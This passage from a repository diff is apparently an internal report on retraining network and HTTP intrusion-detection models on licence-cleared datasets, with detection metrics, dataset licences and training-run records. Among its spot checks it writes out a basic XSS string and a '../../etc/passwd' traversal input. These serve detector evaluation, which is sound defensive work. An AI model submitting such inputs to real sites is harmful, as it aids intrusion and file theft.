+ 447 flows to the first alarm; shipped (its own leave-one-out report `seq_v1_realworld`): FPR 0.0029 [0.0026, 0.0032],
56
+ 16 / 17 [0.73, 0.99], every attacking source caught. The clean set holds the false-alarm budget better (0.08 % vs
57
+ 0.29 % for a 0.1 % target) at the same detection; note that the two runs sample different attacking sources.
58
+
59
+ ### 0.2 Entity detectors (fallback tier 1) and the LUFlow detector, alpha = 1e-3
60
+
61
+ | scored network | seen by | shipped AUROC / FPR / TPR | clean AUROC / FPR / TPR |
62
+ |---|---|---|---|
63
+ | APPRAISE | clean | 0.189 / 0.0004 / 0.00 | 0.9996 / 0.0008 / 0.999 |
64
+ | ACI-IoT-2023 | clean | 0.342 / 0.0026 / 0.046 | 0.675 / 0.036 / 0.075 |
65
+ | SIMARGL2022 | clean | 0.9995 / 0.0003 / 0.88 | 1.000 / 0.0004 / 0.9999 |
66
+ | CSE-CIC-IDS2018 AWS | clean | 0.9999 / 0.0012 / 1.00 | 1.000 / 0.0007 / 0.9999 |
67
+ | NF-CSE-CIC-IDS2018-v3 | shipped | 0.997 / 0.0006 / 0.98 | 0.965 / 0.0030 / 0.005 |
68
+ | NF-ToN-IoT-v3 | shipped | 0.850 / 0.0014 / 0.14 | 0.092 / 0.0000 / 0.00 |
69
+ | NF-UNSW-NB15-v3 | shipped | 1.000 / 0.0003 / 1.00 | 0.066 / 0.0027 / 0.018 |
70
+ | LUFlow 2020 (lu detector) | both | 0.984 / 0.0074 / 0.41 | **0.9998 / 0.0030 / 0.99** |
71
+ | LUFlow 2021 (lu detector) | clean | 0.984 / 0.0002 / 0.39 | 0.999 / 0.00004 / 0.95 |
72
+
73
+ Each detector is strong where it trained and weak elsewhere; no row here is a "neither saw it" comparison except
74
+ through the leave-out reports (`clean_entity_v1_grouped.json`): with the whole SIMARGL family held out, the clean
75
+ `ent` detector scores SIMARGL2021 at AUROC 0.947, TPR 0.69 at FPR 2e-4, entity-minute AUROC 0.995; the shipped
76
+ detector's leave-one-out on SIMARGL2021 (card) was 0.538, TPR 0.27, entity-minute 0.865. The LUFlow detector gain is
77
+ mostly the clock fix of section 4.
78
+
79
+ ### 0.3 Tier-2 GRU (`seqnet`)
80
+
81
+ No same-row head-to-head (scoring needs the sequence windows of the training job); leave-out numbers from the
82
+ training reports, `noctx`, site-calibrated at 1e-3: SIMARGL2021 with its sibling held out — clean AUROC 0.991,
83
+ entity-minute 0.9999, fused with the trees AUROC 1.000 at FPR 0.0024 / TPR 1.00; shipped (SIMARGL2021 alone held
84
+ out) AUROC 0.822, entity-minute 0.939, fused 0.708 at FPR 0.024 / TPR 0.48. Other clean leave-outs: APPRAISE 0.987,
85
+ ACI-IoT 0.934, CSE-CIC-IDS2018 AWS 0.899. Weakness: trained on NetFlow-style testbeds only, the GRU is inverted on
86
+ LUFlow (AUROC 0.0002 with both LUFlow years held out); with one LUFlow year in training it reaches 0.80 / 0.999.
87
+ The exported clean GRU is trained on all seven testbeds, LUFlow included.
88
+
89
+ ### 0.4 HTTP (`http_tier1_v2`), site-calibrated alpha = 1e-3, same rows for both models
90
+
91
+ | suite (benign / attack rows) | seen by | shipped AUROC [CI] | clean AUROC [CI] | shipped FPR / TPR [TPR CI] | clean FPR / TPR [TPR CI] |
92
+ |---|---|---|---|---|---|
93
+ | WordPress POST, SR-BH subset (1.5k / 16.4k) | neither (clean saw other requests of the same site) | 0.817 [0.791, 0.840] | **0.915** [0.904, 0.922] | 0.000 / 0.002 [0.001, 0.002] | 0.0019 / **0.31** [0.30, 0.32] |
94
+ | ModSecurity 2025 days 21-30, reference SR-BH benign (34.6k attacks) | days 1-20 by both | — | — | — / 0.76 [0.66, 0.85] | — / **0.96** [0.95, 0.97] |
95
+ | same attacks, reference zanbil.ir benign | days 1-20 by both | — | — | — / **0.91** [0.84, 0.96] | — / 0.19 [0.14, 0.24] |
96
+ | attack-simulation lab, DVWA (229 / 30k) | neither | **0.998** [0.997, 0.998] | 0.422 [0.406, 0.437] | — | — |
97
+ | shipped test split (58k / 52k) | shipped | **0.997** [0.997, 0.997] | 0.803 [0.799, 0.808] | 0.0010 / **0.87** [0.86, 0.87] | 0.0011 / 0.06 [0.06, 0.06] |
98
+ | shipped evasion suite (17k obfuscated SQLi / XSS) | shipped | — | — | — / **0.86** [0.86, 0.87] | — / 0.08 [0.08, 0.09] |
99
+ | Persian benign, zanbil (4.5k) | shipped | — | — | FPR 0.000 (own threshold 0.000) | FPR 0.000 (own threshold **0.33**) |
100
+ | clean test split (37k / 84k) | clean | 0.821 [0.815, 0.825] | **0.992** [0.992, 0.993] | 0.0008 / 0.22 [0.22, 0.23] | 0.0011 / **0.93** [0.93, 0.93] |
101
+ | clean evasion suite (own mutations, 1.8k) | clean | — | — | — / 0.50 [0.48, 0.52] | — / **0.76** [0.74, 0.78] |
102
+ | Persian benign, own generator (8.9k) | clean | — | — | FPR 0.0002 | FPR 0.000 |
103
+
104
+ Per family on the shipped test split (TPR at the site threshold, shipped vs clean): XSS 0.89 vs 0.02, SQLi 0.88 vs
105
+ 0.10, command injection 0.96 vs 0.004, traversal 0.93 vs 0.21. On the clean test split: SQLi 0.21 vs 0.99, XSS 0.16
106
+ vs 0.51, traversal 0.75 vs 0.85, LFI 0.71 vs 0.60, command injection 0.20 vs 0.75. ModSecurity per family with the
107
+ SR-BH reference (shipped vs clean): SQLi 0.23 vs 1.00, protocol 0.66 vs 0.98, bad bots 0.90 vs 0.81; with the zanbil
108
+ reference the clean model loses every family (bots 0.01, LFI 0.17, SQLi 0.03).
109
+
110
+ What this says: each HTTP model is good on its own data distribution and poor on the other's, and the clean model
111
+ **does not generalise to a site it never saw**: on zanbil.ir's benign traffic its scores are high enough that the
112
+ site threshold rises above most attacks, on the DVWA lab it ranks attacks below benign, and with no site
113
+ calibration (its own threshold) it would flag a third of real Persian requests. Two spot checks show why: a benign
114
+ `GET /shop?item=12` without a User-Agent gets logit +26.7 (SR-BH attack tools rarely send one, SR-BH browsers always
115
+ do), and a plain `<script>alert(1)</script>` in a query is missed (SR-BH has no XSS label at all; the GREEN XSS
116
+ lists are small).
117
+
118
+ **Third attempt** (`http_clean3`: + own attack grammar of 16k payloads, 15 % of synthetic benign clients without a
119
+ User-Agent; run `guard-clean-http-3f`, CPU, model `clean_http_tier1_v2_c3f.npz`; head-to-head
120
+ `clean_vs_shipped_http_c3.json`), TPR at the site threshold, run 2 -> run 3 (shipped): WordPress POST 0.31 -> 0.19
121
+ (0.002); ModSecurity, SR-BH reference 0.96 -> 0.97 (0.76); ModSecurity, zanbil reference 0.19 -> 0.38 (0.91); lab
122
+ AUROC 0.42 -> 0.87 (0.998); shipped test split 0.06 -> 0.05 (0.87); shipped evasion 0.08 -> 0.08 (0.86); clean test
123
+ split 0.93 -> 0.71 (0.22); clean evasion 0.76 -> 0.23 (0.50); Persian zanbil FPR at the model's own threshold
124
+ 0.33 -> 0.022 (0.000). The no-User-Agent false alarm is gone (logit 26.7 -> 3.1, threshold 8.7), but at its own
125
+ threshold run 3 now misses the plain UNION SQLi, the plain XSS and the `../../etc/passwd` spot checks. Neither clean
126
+ HTTP model is fit to ship; `clean_http_tier1_v2.npz` (run 2) stays the reference clean HTTP artefact.
127
+
128
+ ### 0.5 Can the clean set replace the shipped one?
129
+
130
+ | part | replace? | why |
131
+ |---|---|---|
132
+ | tier-1 prior `nf_entity_mono` | **yes** | equal or better on every GREEN network neither saw (AUROC 0.97 -> 0.999, 0.61 -> 0.985, 0.62 -> 0.64, 0.95 -> 1.00); better calibrated per-source evidence on SIMARGL2021; worse on UNSW-NB15 (0.96 -> 0.07) and ToN-IoT (0.96 -> 0.88), which are the shipped model's own training networks and have no GREEN twin |
133
+ | tier-2 GRU `seqnet` | **yes** | leave-out results on GREEN networks at or above the shipped model's; same size (381 KB), parity 4.6e-5 |
134
+ | entity detectors (fallback) | yes | as the prior; the LUFlow detector is clearly better (clock fix) |
135
+ | HTTP `http_tier1_v2` | **no** | shipped test split TPR 0.87 -> 0.06 (run 2) / 0.05 (run 3), lab AUROC 0.998 -> 0.42 / 0.87, ModSecurity with a zanbil reference 0.91 -> 0.19 / 0.38; better only on SR-BH-like traffic |
136
+
137
+ ## 1. What each clean model is
138
+
139
+ The v2 engine (`dibaguard/engine.py`) loads three files: `seq_v1/nf_entity_mono.npz` (tier-1 prior; falls back to
140
+ `entity_v1/nf_entity_detector.npz`), `seq_v1/seqnet.npz` (tier-2 GRU) and `http_v2/http_tier1_v2.npz`. Each has a
141
+ clean twin. To run the engine on the clean set, copy the `clean_*` files under the shipped names into a separate
142
+ model folder (for example `models_clean/seq_v1/nf_entity_mono.npz`) and `Guard.load` that folder; no runtime change
143
+ is needed. Every clean model carries `data: "licence-clean (roadmap 16)"`, the per-source licence and the
144
+ attribution block (`notice`) in its own metadata.
145
+
146
+ | clean artefact (results repo) | replaces | trained on (licence) | run |
147
+ |---|---|---|---|
148
+ | `models/seq_v1/clean_nf_entity_mono.npz` | `seq_v1/nf_entity_mono.npz` (monotone prior, tier 1) | SIMARGL2021, SIMARGL2022, APPRAISE, ACI-IoT-2023 (CC BY 4.0); CSE-CIC-IDS2018 Tue 20-02 from AWS (CIC grant); LUFlow 2020 + 2021 (CC BY-SA 4.0) | `guard-clean-seq-1` |
149
+ | `models/seq_v1/clean_seqnet.npz` + `clean_seq_v1_info.json` | `seq_v1/seqnet.npz` (GRU d=64, tier 2) | same seven testbeds | `guard-clean-seq-3` |
150
+ | `models/entity_v1/clean_nf_entity_detector.npz` | `entity_v1/nf_entity_detector.npz` | the five nf testbeds above | `guard-clean-entity-1` |
151
+ | `models/entity_v1/clean_lu_entity_detector.npz` | `entity_v1/lu_entity_detector.npz` | LUFlow 2020 + 2021 (CC BY-SA 4.0) | `guard-clean-entity-1` |
152
+ | `models/http_v2/clean_http_tier1_v2.npz` | `http_v2/http_tier1_v2.npz` | SR-BH 2020 (CC0), ModSecurity 2025 days 1-20 (CC BY 4.0), PayloadsAllTheThings + SecLists payloads (MIT), OWASP CRS regression tests (Apache-2.0), own synthetic traffic | `guard-clean-http-2` |
153
+
154
+ Not retrained (legacy, not loaded by the v2 engine, still RED as sourced): `flows_v1/*` and `http_v1/http_tier1`.
155
+ See section 6.
156
+
157
+ ## 2. Data actually used, with licences and the attribution each one requires
158
+
159
+ ### 2.1 Flows with addresses and timestamps: `entity_clean/` (data repo)
160
+
161
+ Built by `guard_jobs/entity_build.py --clean` (launched as `--job entity_clean`, which attaches only GREEN Kaggle
162
+ datasets to the kernel), runs `guard-clean-entity-build` and `guard-clean-entity-fix`. Every row has
163
+ `licence`; the builder raises before writing if any row is outside the allowlist.
164
+
165
+ | testbed | source as read (owner's own release) | licence | rows | span | sources | families | cite |
166
+ |---|---|---|---|---|---|---|---|
167
+ | simargl2021 | Kaggle `h2020simargl/simargl2021-network-intrusion-detection-dataset` | CC BY 4.0 | 8,000,000 | 443 h | 46,873 | benign 3.92 M, portscan 2.50 M, DoS (RUDY, slowloris) 1.58 M | Mihailescu et al., Sensors 21(13):4319, 2021 |
168
+ | simargl2022 | Kaggle `h2020simargl/simargl2022` (days 15, 16, 19 Mar 2022) | CC BY 4.0 | 8,000,000 | 100 h | 35,512 | benign 3.30 M, portscan 3.88 M, dos 0.82 M | H2020 SIMARGL, SIMARGL2022 dataset (CC BY 4.0) |
169
+ | appraise | Kaggle `ittibydgoszcz/appraise-h2020-real-labelled-netflow-dataset` | CC BY 4.0 | 7,570,072 | 1,912 h | 1,339 | benign 4.78 M, recon 2.36 M, ddos 0.43 M, bruteforce 949 | ITTI, APPRAISE H2020 real labelled NetFlow dataset (CC BY 4.0) |
170
+ | aci2023 | Kaggle `emilynack/aci-iot-network-traffic-dataset-2023` (`ACI-IoT-2023.csv`, the author's release) | CC BY 4.0 | 1,231,411 | 102 h | 159,381 | benign 0.33 M, portscan 0.44 M, floods 0.29 M, recon 0.15 M, slowloris, dictionary | Nack et al., MILCOM 2024; doi:10.21227/qacj-3x32 |
171
+ | cic2018aws | CSE-CIC-IDS2018, AWS open-data bucket (publisher's copy), processed day `Thuesday-20-02-2018` | CIC grant: redistribute / republish in any form, citation required | 7,948,748 | 12 h | 31,291 | benign 7.37 M, DDoS LOIC-HTTP 0.58 M | Sharafaldin, Habibi Lashkari, Ghorbani, ICISSP 2018; https://registry.opendata.aws/cse-cic-ids2018 |
172
+ | lu2020 | Kaggle `mryanm/luflow-network-intrusion-detection-data-set` (author's release), 2020 files | CC BY-SA 4.0 | 6,856,505 | 180 h | 1,249 | benign 5.12 M, malicious 1.74 M | Mills et al., IEEE TNSM 2021, doi:10.1109/TNSM.2021.3091517 |
173
+ | lu2021 | same, 2021 files | CC BY-SA 4.0 | 6,430,074 | 2,193 h | 691 | benign 5.40 M, malicious 1.03 M | as lu2020 |
174
+
175
+ `lu2022` was built too but is not used: the 2022 files carry a single source address, so there is no per-source
176
+ stream. It stays in `entity_clean/` and every trainer run passes the testbed list explicitly.
177
+
178
+ ### 2.2 HTTP: `http_clean2/` (data repo; `http_clean/` is the first, superseded build)
179
+
180
+ Built by `guard_jobs/http_clean.py` (`--job http_clean`, or `http_build --clean`), run `guard-clean-http-build3`
181
+ with `--prefix http_clean2 --per-file 20000 --per-family 40000 --placements 2`. 1,006,457 rows; by licence: CC0
182
+ 776,942, own 132,738, MIT 61,719, Apache-2.0 35,058.
183
+
184
+ | source | as read | licence | what it contributes | cite / notice |
185
+ |---|---|---|---|---|
186
+ | srbh | SR-BH 2020 multi-label, Harvard Dataverse doi:10.7910/DVN/OGOIXX, file `data_capec_multilabel.csv` (licence read from the Dataverse API: CC0-1.0) | CC0 1.0 | 878,968 real requests to a WordPress honeypot (357,536 attacks, CAPEC labels mapped to families), benign carriers, the `wild` suite (last 20 % of time) | Sureda Riera et al., Computers & Security 2022, doi:10.1016/j.cose.2022.102788 |
187
+ | wp_post | SR-BH 2020 WordPress POST subset, Kaggle `ahmeterenceylan/http-request-dataset` | CC0 upstream (uploader label MIT) | held-out suite, never trained on; SR-BH's own 28,381 POST requests are left out of `srbh` for that reason | as srbh |
188
+ | modsec | ModSecurity thirty-day archive, Zenodo 17178461 (`http_v2/modsec.parquet`, already built) | CC BY 4.0 | days 1-20 join training (`--modsec-train 1`, as the shipped `http_v2_final2`), days 21-30 are the `modsec` suite | Lucz, G. (2025), doi:10.5281/zenodo.17178461 |
189
+ | patt | PayloadsAllTheThings `*/Intruder(s)/*` lists, commit `08ea40e7` | MIT | attack payloads placed into benign carriers | MIT notice |
190
+ | seclists | SecLists `Fuzzing/*` payload lists (family by file keyword), commit `0008f434` | MIT | attack payloads placed into benign carriers | MIT notice |
191
+ | crs | OWASP CRS `tests/regression/tests` for rule files 913, 921, 930-944, commit `ca679721` | Apache-2.0 | 3,798 attack requests (positive tests) and 802 benign hard negatives (negative tests) | Apache-2.0 + NOTICE |
192
+ | synth | own generator in `guard_jobs/http_clean.py` | own | 80,000 benign shop / blog / API requests (English and Persian parameters, JSON bodies) as rows and carriers; benign values placed exactly like the attack payloads; the evasion variants (own mutation engine) | - |
193
+ | lab | Kaggle `moradrawashdeh/attack-simulation-lab` (uploader's own lab) | Apache-2.0 | evaluation suite only (labels are per host, not per request) | Apache-2.0 notice |
194
+
195
+ Two cleaning rules were added to the payload lists (both data quality, not licence): a list line is kept only if it
196
+ carries the family's active syntax (`http_clean.ACTIVE`; the Intruder / Fuzzing folders also hold plain word lists
197
+ such as event-handler names, bare file paths and LDAP attribute names, which are not attacks by themselves), and
198
+ files named after the PortSwigger cheat sheet are dropped (the audit treats PortSwigger-derived content as
199
+ unlicensed, row 17).
200
+
201
+ ### 2.3 Not used, and why
202
+
203
+ | candidate | reason |
204
+ |---|---|
205
+ | NF-UQ-NIDS-v2, NF-*-v3 (athena21, thanhphuc1810 "MIT", seyhed, ...) | RED (UQ academic-only terms; uploader labels grant nothing) |
206
+ | dhoogla CIC-IDS2017 / CSE-CIC-IDS2018 / CIC-DDoS2019, dhoogla LUFlow | RED as sourced (CC BY-NC-SA mirrors) |
207
+ | CIC-IDS2017 and CIC-DDoS2019 originals | **Not available from the publisher without a manual step**: every `cicresearch.ca/CICDataset/...` path probed from a Kaggle kernel redirects to the UNB dataset index (download behind UNB's registration form); no Kaggle copy is published by UNB/CIC. Not used. |
208
+ | CSE-CIC-IDS2018 other days | the AWS processed CSVs of the other nine days have no Src IP / Dst IP (unusable for per-source streams; usable for a single-flow `cic` view, see section 6) |
209
+ | ACI-IoT-2023 / IoMT-2024 CIC-BCCC-NRC copies (phungvannamanh, amineipad) | AMBER (uploader MIT label, CIC/BCCC terms unconfirmed); the author's own ACI release is used instead |
210
+ | MU-IoT | GREEN, but the release has normalised features only (no addresses, no timestamps) |
211
+ | zanbil.ir | AMBER (raw log withheld by the owner, real client IPs) |
212
+ | CSIC 2010, mreowie, obf_sqli, obf_xss, syed_xss, syed_sqli, sambit | RED / AMBER |
213
+ | own red-team generators (`scripts/redteam_*.py`, `dibaguard.shield.playbook`) | GREEN and they do produce flow tables, but they are the live lab's own test traffic; training on them would grade the models on their training data. Kept as the independent lab check. |
214
+
215
+ ## 3. The licence gate
216
+
217
+ * `guard_jobs/licences.py`: `CLEAN` = {cc-by-4.0, cc-by-sa-4.0, cc0-1.0, mit, apache-2.0, cic-unb-cite, own}; `GREEN`
218
+ = source id -> (licence, the origin the audit cleared, attribution); `OTHER` = the audit's tags for every RED /
219
+ AMBER source.
220
+ * Every corpus row has a `licence` column (`entity_build` now writes it for every testbed, clean or not; `http_build`'s
221
+ tags were corrected to the audit's values).
222
+ * `entity_build --clean`: refuses a testbed that is not GREEN or whose Kaggle ref differs from the cleared origin;
223
+ `require_clean` on every testbed's rows before the parquet is written.
224
+ * `http_clean`: `require_source` on every row's source, `require_clean` on the whole frame before writing.
225
+ * `entity_train --clean`, `seq_train --clean`, `http_train2 --clean`: read only `entity_clean/` / `http_clean*`,
226
+ re-check every loaded testbed / split (source GREEN, every row's licence in `CLEAN`), raise otherwise; outputs are
227
+ `clean_*` files from separate scratch folders, so a clean run cannot upload a shipped file name.
228
+ * `tests/test_clean.py` builds every clean loader on synthetic files, checks the outputs, and checks that a RED
229
+ testbed (`nfv3_cic2018`, `aciiot2023`) and a single tampered row (`uq-academic-only`) are refused.
230
+
231
+ ## 4. Loader defects found on the way (fixed in `--clean` mode only; the shipped corpora keep their bytes)
232
+
233
+ 1. **LUFlow time unit.** The author's release stores `time_start` in microseconds, plus a few rows on other scales
234
+ or at 0. The builder divided by 1000, so the shipped `entity_v1/lu2020` stream ran on a 1000x stretched clock
235
+ with a near-zero first row (`span_h` 442,511,328 in its manifest). Every horizon of the entity state (10 s / 2 min /
236
+ 30 min) was therefore effectively 1000x shorter on LUFlow for `lu_entity_detector`, `seqnet` and
237
+ `nf_entity_mono`. Clean build: per-row scaling and a plausibility window (lu2020 now spans 180 h).
238
+ 2. **SYN-only on exporters without a client/server flag split** (SIMARGL, APPRAISE): `client_flags` was 0, so the
239
+ SYN-only share was always 0 on SIMARGL2021, a dataset that is one-third SYN scans. Clean build: rebuilt from
240
+ the cumulative `TCP_FLAGS` and whether the server sent any packet.
241
+ 3. **ACI-IoT-2023 author timestamps** mix spellings across days (`2023-01-11` = 1 Nov). Clean build: each row is
242
+ read every plausible way and the reading inside the README's capture week is kept (span 102 h, was 5,669 h).
243
+ 4. CICFlowMeter rows with an unparseable time became -9.2e9 s and sorted first; now dropped.
244
+
245
+ ## 5. Training-protocol results (leave-one-dataset-out, as the training jobs report them)
246
+
247
+ Reports in `D:/build-tmp/guard/clean/`. These are each model set's own leave-out numbers, on different testbeds
248
+ than the shipped reports, so they are context for section 0, not a head-to-head.
249
+
250
+ * `clean_entity_v1_train.json` / `clean_entity_v1_grouped.json` (runs `guard-clean-entity-1`, `-2`): nf view,
251
+ `ent` features, held-out flow AUROC — SIMARGL2021 0.966 (0.947 with SIMARGL2022 also held out), SIMARGL2022 0.996
252
+ (0.979 grouped), APPRAISE 0.934, ACI-IoT 0.969, CSE-CIC-IDS2018 AWS 0.997; lu view LUFlow 2020 0.997, 2021 0.995.
253
+ Site-calibrated realised FPR at 1e-3 departs from the target on SIMARGL2021 (0.12 single, 2e-4 grouped), SIMARGL2022
254
+ grouped (0.019) and ACI-IoT (0.021): few sources with long-lived state are not exchangeable between periods, the
255
+ limit the card already states for UNSW-NB15.
256
+ * `clean_seq_v1_train.json` / `_grouped` / `_keepatt` (runs `guard-clean-seq-1`, `-2`, `-4`): GRU and fused numbers
257
+ in section 0.3; anomaly tier: monotone prior leave-out AUROC SIMARGL2022 1.000, CSE-CIC-IDS2018 AWS 0.9998,
258
+ APPRAISE 0.24 on the source-capped sample of `seq-1` (591 attack flows in its test split) and 0.992 when every
259
+ attacking source is kept (`seq-4`), ACI-IoT 0.71; the label-free site-only tier (quant) 0.99-1.00 on SIMARGL /
260
+ CSE-CIC and 0.81 on ACI-IoT. In `seq-1` the SIMARGL2021 test split lost its only attacker to the random source
261
+ sampling (the shipped run happened to keep one), which is why `seq-4` re-ran the anomaly protocol with
262
+ `--keep-attack-sources 1`. LUFlow anomaly folds are one-sided after source capping (as in the shipped report).
263
+ * `clean_seq_v1_export.json` (`guard-clean-seq-3`): exported clean GRU, d = 64, 95,293 parameters, 381 KB, numpy /
264
+ torch parity 4.6e-5, 130k flows/s on one core.
265
+ * `clean_http_v2_train.json` (`guard-clean-http-2`, corpus `http_clean2`): leave-one-source-out SR-BH AUROC 0.873
266
+ (no site context; 0.42 with context) / site TPR 0.24 at FPR 7e-4, novelty tier 0.984, fused 0.974; WordPress POST
267
+ 0.947 / 0.17 (shipped: 0.693 / 0.17); CRS 0.57; lab 0.14 (novelty 0.996). Final model: test AUROC 0.992, evasion
268
+ TPR 0.77, ModSecurity last ten days caught 0.958 with the SR-BH reference, 3,387 clients 0.895; 7,849 KB; 1,888 req/s
269
+ on one core in Python. `clean_http_v2_train_run1_corpus_v1.json` is the first attempt (corpus `http_clean`, before
270
+ the payload-list cleaning): XSS 0.18, LFI 0.15, evasion 0.29, kept for the record.
271
+
272
+ ## 6. Gaps: what still depends on data that is not cleared
273
+
274
+ 1. **HTTP model.** The clean HTTP model is not a replacement (section 0.4). What it lacks is benign and attack
275
+ variety from applications other than one WordPress honeypot: the shipped model's strength on CSIC / zanbil /
276
+ payload-set traffic comes from RED / AMBER data (CSIC 2010, zanbil.ir, mreowie, obfuscated SQLi / XSS sets).
277
+ Routes, in order of value: (a) the author's written OK for zanbil.ir (CC0, raw log withheld; DATA_LICENSES §4.3),
278
+ which restores a real non-WordPress benign site; (b) CSIC 2010 permission; (c) more GREEN benign applications
279
+ (requests generated from the CC0 APIs.guru OpenAPI directory, CRS negative tests at scale); (d) more own attack
280
+ grammar and WAF-A-MoLE (MIT) mutation of GREEN payloads. Until then the commercial build has **no** licence-clean
281
+ HTTP model; the site-only novelty tier (no training data) and the playbook signatures remain clean.
282
+ 2. **IoT / UNSW-NB15-style networks.** The clean prior is weak on NF-UNSW-NB15 (AUROC 0.07) and below the shipped
283
+ model on NF-ToN-IoT. There is no GREEN twin of UNSW-NB15, BoT-IoT or ToN-IoT (all UNSW Canberra, academic-only);
284
+ ToN-IoT is "allowable after asking the author" — the one permission worth asking for the network side. MU-IoT
285
+ (CC BY 4.0) has no addresses; CIC-IoT2023 from UNB would need its PCAPs re-flowed.
286
+ 3. **CIC-IDS2017 and CIC-DDoS2019** could not be fetched from the publisher without the registration form; only the
287
+ CSE-CIC-IDS2018 day with addresses (Tuesday 20-02) is in. Downloading the UNB originals by hand (GREEN with
288
+ citation) and re-flowing the 2018 PCAPs from AWS would add a CIC testbed with every attack family.
289
+ 4. **Legacy artefacts not retrained:** `flows_v1/*` (single-flow nf / cic / lu detectors) and `http_v1/http_tier1`
290
+ are still RED as sourced. They are not loaded by the v2 engine. A clean `cic` view is possible from the ten AWS
291
+ CSE-CIC-IDS2018 processed CSVs (no addresses needed for single flows), a clean `lu` view from the author's LUFlow.
292
+ 5. **Go runtime files:** the clean models exist as `.npz`; the flat `.bin` / `.bin.json` exports and parity fixtures
293
+ for the Go runtime (`dibaguard.parity.npz_to_flat`) were not produced for them.
294
+ 6. **Open licence points that touch the clean set** (from DATA_LICENSES §5, unchanged): LUFlow is CC BY-SA 4.0 —
295
+ whether trained weights are Adapted Material is unsettled, so the LUFlow-trained parts (clean `lu` detector, and
296
+ the GRU / prior, which include LUFlow 2020-21) need legal sign-off or a retrain without LUFlow; the uploader
297
+ identities of the SIMARGL, LUFlow and ACI-IoT Kaggle accounts are inferred, not verified; the CIC FAQ wording
298
+ should be confirmed by e-mail; PayloadsAllTheThings / SecLists files credit upstream cheat sheets whose own terms
299
+ were not checked file by file (the PortSwigger-named files were dropped).
300
+ 7. **Shipped models carry the old loader defects** (section 4): the shipped LUFlow-trained parts ran on a 1000x
301
+ stretched clock and SIMARGL2021 without the SYN-only signal. A rebuild of `entity_v1` with the `--clean` fixes
302
+ applied to every testbed would be needed before comparing future shipped retrains to these numbers.
303
+
304
+ ## 7. Runs, files and how to check them
305
+
306
+ | run (account) | job and arguments | output |
307
+ |---|---|---|
308
+ | `guard-clean-survey` (1) | `survey_clean` | publisher channels, SR-BH, payload repos, lab, ACI author release |
309
+ | `guard-clean-entity-build` (1), `guard-clean-entity-fix` (1) | `entity_clean` (`entity_build --clean`); fix run `--testbeds aci2023,lu2020,lu2021` | `entity_clean/*.parquet` + manifest |
310
+ | `guard-clean-http-build` (2, stray first version), `-build2` (2), `-build3` (2), `-build4` (2) | `http_clean`; build3 `--prefix http_clean2 --per-file 20000 --per-family 40000 --placements 2`; build4 adds `--own-attacks 1 --no-ua-share 0.15 --prefix http_clean3` | `http_clean/`, `http_clean2/`, `http_clean3/` |
311
+ | `guard-clean-entity-1` (1, GPU) | `entity_train --clean --views nf,lu --sets base,ent,both --testbeds <7> --iters 1000 --max-rows 1500000` | `models/entity_v1/clean_{nf,lu}_entity_detector.npz`, `reports/clean_entity_v1_train.json` |
312
+ | `guard-clean-entity-2` (1, GPU) | same, `--lodo "simargl2021+simargl2022,..." --no-export` | `reports/clean_entity_v1_grouped.json` |
313
+ | `guard-clean-seq-1` (1, GPU) | `seq_train --clean --d 128 --ctx 0 --fset ent --protocols temporal,lodo,anomaly --iters 300 --rolling 1800` | `models/seq_v1/clean_nf_entity_mono.npz`, `reports/clean_seq_v1_train.json` |
314
+ | `guard-clean-seq-2` (1, GPU) | grouped leave-out, `--export-mono 0` | `reports/clean_seq_v1_grouped.json` |
315
+ | `guard-clean-seq-3` (2, GPU) | `--d 64 --protocols export` | `models/seq_v1/clean_seqnet.npz`, `clean_seq_v1_info.json` |
316
+ | `guard-clean-seq-4` (1, GPU) | anomaly protocol with `--keep-attack-sources 1` | `reports/clean_seq_v1_keepatt.json` |
317
+ | `guard-clean-http-1` (2, GPU) | `http_train2 --clean` on `http_clean`; first version killed (out of memory at the SR-BH leave-out, fixed by `--loso-cap`) | `reports/clean_http_v2_train.json` (renamed locally `_run1_corpus_v1`) |
318
+ | `guard-clean-http-2` (2, GPU) | `http_train2 --clean --corpus http_clean2 --protocols loso,final --ctx 0,1 --modsec-train 1` | `models/http_v2/clean_http_tier1_v2.npz`, `reports/clean_http_v2_train.json` |
319
+ | `guard-clean-http-3` (1, CPU), `guard-clean-http-3f` (2, CPU) | same on `http_clean3` (`--loso srbh,wp_post,crs`); `-3f` final only | `models/http_v2/clean_http_tier1_v2_c3.npz` / `_c3f.npz`, `reports/clean_http_v2_train3*.json` |
320
+ | `guard-clean-eval-flows` (1, CPU), `guard-clean-eval-http` (2, CPU), `guard-clean-eval-http3` (2, CPU) | `clean_eval --parts flows` / `--parts http` / `--parts http --clean-http models/http_v2/clean_http_tier1_v2_c3f.npz` | `reports/clean_vs_shipped_{flows,http,http_c3}.json` |
321
+
322
+ Check any run: `python kag.py status --run-name <run> --result` (from `D:/diba-slm/guard`); full log after the
323
+ kernel ends: `python kag.py log --run-name <run>`. Reports and models are in `DibaAi/dibaguard-results-private`,
324
+ corpora in `DibaAi/dibaguard-data-private` (both private).
325
+
326
+ Code added or changed (training side only, `guard_jobs/` and `tests/`): `licences.py` (new), `entity_clean.py`
327
+ (new), `http_clean.py` (new), `clean_eval.py` (new), `survey_clean.py` (new); `--clean` and related options in
328
+ `entity_build.py`, `entity_train.py`, `seq_train.py`, `http_build.py`, `http_train2.py`; `tests/test_clean.py`.
329
+ Default (non-clean) behaviour of the existing jobs is unchanged except that `entity_build` now writes a `licence`
330
+ column and `http_build`'s licence tags carry the audit's values.
331
+
332
+ ## 8. Attribution block for a commercial release of the clean network models
333
+
334
+ CSE-CIC-IDS2018 (Sharafaldin, Habibi Lashkari, Ghorbani, ICISSP 2018; https://registry.opendata.aws/cse-cic-ids2018);
335
+ RoEduNet-SIMARGL2021 (Mihailescu et al., Sensors 21(13):4319, 2021, CC BY 4.0); SIMARGL2022 (H2020 SIMARGL, CC BY
336
+ 4.0); APPRAISE H2020 real labelled NetFlow (ITTI, CC BY 4.0); ACI-IoT-2023 (Nack et al., MILCOM 2024,
337
+ doi:10.21227/qacj-3x32, CC BY 4.0); LUFlow (Mills et al., IEEE TNSM 2021, doi:10.1109/TNSM.2021.3091517, CC BY-SA
338
+ 4.0). For an HTTP model built from the clean corpus, add SR-BH 2020 (CC0; cite doi:10.1016/j.cose.2022.102788),
339
+ the ModSecurity archive (doi:10.5281/zenodo.17178461, CC BY 4.0), and the MIT / Apache-2.0 notices of
340
+ PayloadsAllTheThings, SecLists and the OWASP CRS. The same block is stored in every clean model's metadata
341
+ (`notice`).
docs/CONSOLE.md ADDED
@@ -0,0 +1,121 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
